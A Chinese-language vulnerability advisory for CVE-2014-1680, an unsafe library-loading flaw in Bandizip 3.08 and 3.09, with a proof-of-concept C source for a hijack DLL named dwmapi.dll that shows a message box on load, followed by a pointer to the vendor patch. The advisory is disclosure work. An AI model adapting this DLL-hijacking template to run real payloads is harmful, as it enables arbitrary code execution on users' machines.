Bandizip不安全库加载漏洞


发布日期:2014-02-14
更新日期:2014-02-18

受影响系统:
bandisoft Bandizip 3.08
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CVE-2014-1680

Bandizip是免费的轻量级Zip压缩软件。

Bandisoft Bandizip 3.10之前版本加载库(例如dwmapi.dll)的方式不安全,攻击者通过诱使用户打开远程WebDAV或SMB共享上的文件,利用此漏洞可加载任意库。

<*来源:Osanda Malith Jayathissa (osandajayathissa@gmail.com)
 
  链接:http://secunia.com/advisories/56846/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
* Exploit Title: Bandizip 3.09 DLL Hijacking Exploit (dwmapi.dll)
* Date: February 5th 2014
* Author: Osanda Malith Jayathissa
* E-Mail: osandajayathissa<at>gmail.com
* Version: 3.09
* Vendor Homepage: http://www.bandisoft.com/
* Tested on: Windows XP SP2 en
* Vulnerable extensions: All Extensions
* CVE: CVE-2014-1680
*/

#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD    fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
  {
  case DLL_PROCESS_ATTACH:
    owned();
  case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
  break;
  }
  return TRUE;
}

int owned() {
  MessageBox(0, "Bandizip DLL Hijacked\nOsanda Malith", "POC", MB_OK);
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

bandisoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.bandisoft.com/bandizip/history/

相关内容

    暂无相关文章